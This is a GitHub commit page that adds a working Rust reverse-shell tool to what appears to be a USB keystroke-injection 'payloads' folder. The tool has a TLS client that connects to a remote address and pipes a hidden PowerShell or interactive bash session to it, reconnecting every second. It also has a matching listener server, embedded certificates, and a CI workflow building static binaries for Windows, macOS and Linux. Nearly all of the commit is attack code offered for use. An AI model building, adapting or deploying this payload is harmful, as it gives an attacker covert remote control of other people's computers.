Skip to content

Commit

Permalink
add revshell
Browse files Browse the repository at this point in the history
  • Loading branch information
dragonlock2 committed Aug 3, 2024
1 parent 4f5831f commit b13b4b7
Show file tree
Hide file tree
Showing 8 changed files with 291 additions and 1 deletion.
48 changes: 48 additions & 0 deletions .github/workflows/revshell.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
name: revshell

on: workflow_dispatch

jobs:
build-unix:
name: ${{ matrix.os }} build
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-13, macos-14]
steps:
- uses: actions/checkout@v4
- name: Build executable
working-directory: ./samples/apps/rubberducky/payloads/revshell
run: cargo build --release --bin client
- name: Rename executable
run: mv ./samples/apps/rubberducky/payloads/revshell/target/release/client ./${{ matrix.os }}-client
- uses: actions/upload-artifact@v4
with:
name: ${{ matrix.os }}-client
path: ${{ matrix.os }}-client

build-windows:
name: windows-latest build
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- uses: ilammy/setup-nasm@v1
- name: Build executable
working-directory: ./samples/apps/rubberducky/payloads/revshell
run: cargo build --release --bin client
- name: Rename executable
run: mv ./samples/apps/rubberducky/payloads/revshell/target/release/client.exe ./windows-latest-client.exe
- uses: actions/upload-artifact@v4
with:
name: windows-latest-client
path: windows-latest-client.exe

merge:
name: merge artifacts
runs-on: ubuntu-latest
needs: [build-unix, build-windows]
steps:
- uses: actions/upload-artifact/merge@v4
with:
name: clients
delete-merged: true
6 changes: 5 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,2 +1,6 @@
*.DS_Store
.DS_Store
.vscode
build
target
Cargo.lock
*.key.pem
2 changes: 2 additions & 0 deletions samples/apps/rubberducky/payloads/revshell/.cargo/config.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[target.'cfg(not(target_os = "linux"))']
rustflags = ["-C", "target-feature=+crt-static"]
27 changes: 27 additions & 0 deletions samples/apps/rubberducky/payloads/revshell/Cargo.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
[package]
name = "revshell"
default-run = "client"
version = "0.1.0"
edition = "2021"

[[bin]]
name = "client"
path = "src/client.rs"

[[bin]]
name = "server"
path = "src/server.rs"

[target.'cfg(not(target_os = "windows"))'.dependencies]
termios = "0.3"

[dependencies]
rustls-pemfile = "2.1"
tokio = { version = "1", features = ["full"] }
tokio-rustls = "0.26"

# Windows needs more setup to build
# https://aws.github.io/aws-lc-rs/requirements/windows.html
# https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation

# TODO add to payload
11 changes: 11 additions & 0 deletions samples/apps/rubberducky/payloads/revshell/certs/cert.pem
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
-----BEGIN CERTIFICATE-----
MIIBoDCCAUWgAwIBAgIUNXzvXOCfzWTl6isCdYTnrI+Dl8IwCgYIKoZIzj0EAwIw
JzELMAkGA1UEBhMCQlIxGDAWBgNVBAoMD0NyYWIgd2lkZ2l0cyBTRTAgFw03NTAx
MDEwMDAwMDBaGA80MDk2MDEwMTAwMDAwMFowGjEYMBYGA1UEAwwPbWF0dGhld3Ry
YW4uY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEbVL9u1IbJ0cMVk7yd2Np
Kdr5j91jZoy/DHZP12NIw0tjDclxNk30ny0j7QFkAcHyNyYHGypQw/TAJJWYxKdB
maNaMFgwHwYDVR0jBBgwFoAUK0a6R9tAZj+bSAtCmTDiCcrEIuowJQYDVR0RBB4w
HIIPbWF0dGhld3RyYW4uY29tgglsb2NhbGhvc3QwDgYDVR0PAQH/BAQDAgeAMAoG
CCqGSM49BAMCA0kAMEYCIQC6J92vw968Vu4SYuEd4sYYeSYOcF0Jtxzrb8qx2pDh
KgIhAJI4qrNzMA1AVTTKWBZ3foord9L0ai5PVGzZeV2RgqWB
-----END CERTIFICATE-----
11 changes: 11 additions & 0 deletions samples/apps/rubberducky/payloads/revshell/certs/root-ca.pem
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
-----BEGIN CERTIFICATE-----
MIIBkzCCATqgAwIBAgIUfxbNCkS0wwir3RsgzDpcWc4HfTswCgYIKoZIzj0EAwIw
JzELMAkGA1UEBhMCQlIxGDAWBgNVBAoMD0NyYWIgd2lkZ2l0cyBTRTAgFw03NTAx
MDEwMDAwMDBaGA80MDk2MDEwMTAwMDAwMFowJzELMAkGA1UEBhMCQlIxGDAWBgNV
BAoMD0NyYWIgd2lkZ2l0cyBTRTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABERX
Wd7NAvl0w8vE9TgnSG04IU4kKF66LJWjZIMMvpMQm08i9GgceJmQu5AM1UvXmTVy
k4wW5IiIy+KQ+WIyahyjQjBAMA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUK0a6
R9tAZj+bSAtCmTDiCcrEIuowDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAgNH
ADBEAiAtPO+G/+HujOl56lBVcDvRw3d2PxuXYfctsTE0grvJqwIgXIEfl16Z19GR
yhyVToC54hSUkWjAd/BQkDUyotY17c4=
-----END CERTIFICATE-----
97 changes: 97 additions & 0 deletions samples/apps/rubberducky/payloads/revshell/src/client.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
use crate::rustls::pki_types::ServerName;
use std::process::Stdio;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio_rustls::rustls;

#[cfg(target_os = "windows")]
const SHELL: &str = "powershell.exe";

#[cfg(target_os = "windows")]
const SHELL_ARGS: &[&str] = &["-WindowStyle", "hidden"]; // TODO redirect everything

#[cfg(any(target_os = "macos", target_os = "linux"))]
const SHELL: &str = "/bin/bash";

#[cfg(any(target_os = "macos", target_os = "linux"))]
const SHELL_ARGS: &[&str] = &["-i"];

async fn start_shell(addr: &str) -> tokio::io::Result<()> {
// setup TLS
let mut cert = include_bytes!("../certs/root-ca.pem").as_slice();
let mut root = rustls::RootCertStore::empty();
for c in rustls_pemfile::certs(&mut cert) {
root.add(c.unwrap()).unwrap();
}
let cfg = rustls::ClientConfig::builder()
.with_root_certificates(root)
.with_no_client_auth();
let conn = tokio_rustls::TlsConnector::from(std::sync::Arc::new(cfg));

// start connection
let sock = tokio::net::TcpStream::connect(addr).await?;
let domain = ServerName::try_from(addr.split(':').next().unwrap().to_string()).unwrap();
let mut sock = conn.connect(domain, sock).await?;

// start shell
let mut cmd = tokio::process::Command::new(SHELL)
.args(SHELL_ARGS)
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?;

// pipe stdin/stdout/stderr
let mut stdin = cmd.stdin.take().unwrap();
let mut stdout = cmd.stdout.take().unwrap();
let mut stderr = cmd.stderr.take().unwrap();
let _ = tokio::spawn(async move {
let mut buf_in = [0; 1024];
let mut buf_out = [0; 1024];
let mut buf_err = [0; 1024];
loop {
tokio::select! {
v = sock.read(&mut buf_in) => {
let v = v?;
match v {
0 => break,
len => stdin.write_all(&buf_in[0..len]).await?,
}
}
v = stdout.read(&mut buf_out) => {
let v = v?;
match v {
0 => break,
len => sock.write_all(&buf_out[0..len]).await?,
}
}
v = stderr.read(&mut buf_err) => {
let v = v?;
match v {
0 => break,
len => sock.write_all(&buf_err[0..len]).await?,
}
}
}
}
Ok::<(), tokio::io::Error>(())
})
.await;
let _ = cmd.wait().await;
Ok(())
}

#[tokio::main]
async fn main() {
let addr = std::env::args()
.nth(1)
.unwrap_or("localhost:8080".to_string());
loop {
let err = start_shell(&addr).await;
if let Err(msg) = err {
println!("{}", msg);
} else {
println!("graceful exit");
}
tokio::time::sleep(tokio::time::Duration::from_millis(1000)).await;
}
}
90 changes: 90 additions & 0 deletions samples/apps/rubberducky/payloads/revshell/src/server.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
use std::os::fd::AsRawFd;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio_rustls::rustls;

/*
* git clone https://github.com/rustls/rcgen.git && cd rcgen
* cargo run -- --common-name=matthewtran.com --san=matthewtran.com --san=localhost --output=certs
*/

async fn connect_shell(addr: &str) -> tokio::io::Result<()> {
// setup TLS
let mut key = include_bytes!("../certs/cert.key.pem").as_slice();
let mut cert = include_bytes!("../certs/cert.pem").as_slice();
let key = rustls_pemfile::private_key(&mut key).unwrap().unwrap();
let cert = rustls_pemfile::certs(&mut cert)
.collect::<Result<Vec<_>, _>>()
.unwrap();
let cfg = rustls::ServerConfig::builder()
.with_no_client_auth()
.with_single_cert(cert, key)
.unwrap();
let acc = tokio_rustls::TlsAcceptor::from(std::sync::Arc::new(cfg));

// start connection
let tcp = tokio::net::TcpListener::bind(addr).await?;
let (sock, addr) = tcp.accept().await?;
let mut sock = acc.accept(sock).await?;
println!("connected to {}", addr);

// pipe to stdin/stdout
let _ = tokio::spawn(async move {
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
let mut read_buf = [0; 1024];
let mut write_buf = [0; 1024];
loop {
tokio::select! {
v = sock.read(&mut read_buf) => {
let v = v?;
match v {
0 => break,
len => {
stdout.write_all(&read_buf[0..len]).await?;
stdout.flush().await?
},
}
}
v = stdin.read(&mut write_buf) => {
let v = v?;
match v {
0 => break,
len => sock.write_all(&write_buf[0..len]).await?,
}
}
}
}
Ok::<(), tokio::io::Error>(())
})
.await;
Ok(())
}

#[tokio::main]
async fn main() -> tokio::io::Result<()> {
// disable stdin echo and newline buffering
let stdin_fd = std::io::stdin().as_raw_fd();
let termios_old = termios::Termios::from_fd(stdin_fd).unwrap();
let mut termios = termios_old;
termios.c_lflag &= !(termios::ECHO | termios::ICANON);
termios.c_cc[termios::VMIN] = 1;
termios.c_cc[termios::VTIME] = 0;
termios::tcsetattr(stdin_fd, termios::TCSANOW, &termios)?;

// start connection
let addr = std::env::args()
.nth(1)
.unwrap_or("0.0.0.0:8080".to_string());
let err = connect_shell(&addr).await;
if let Err(msg) = err {
println!("{}", msg);
}

// revert stdin
termios::tcsetattr(stdin_fd, termios::TCSADRAIN, &termios_old)?;

println!("press enter again to exit..."); // https://docs.rs/tokio/latest/tokio/io/struct.Stdin.html
Ok(())

// TODO manage multiple connections
}

0 comments on commit b13b4b7

Please sign in to comment.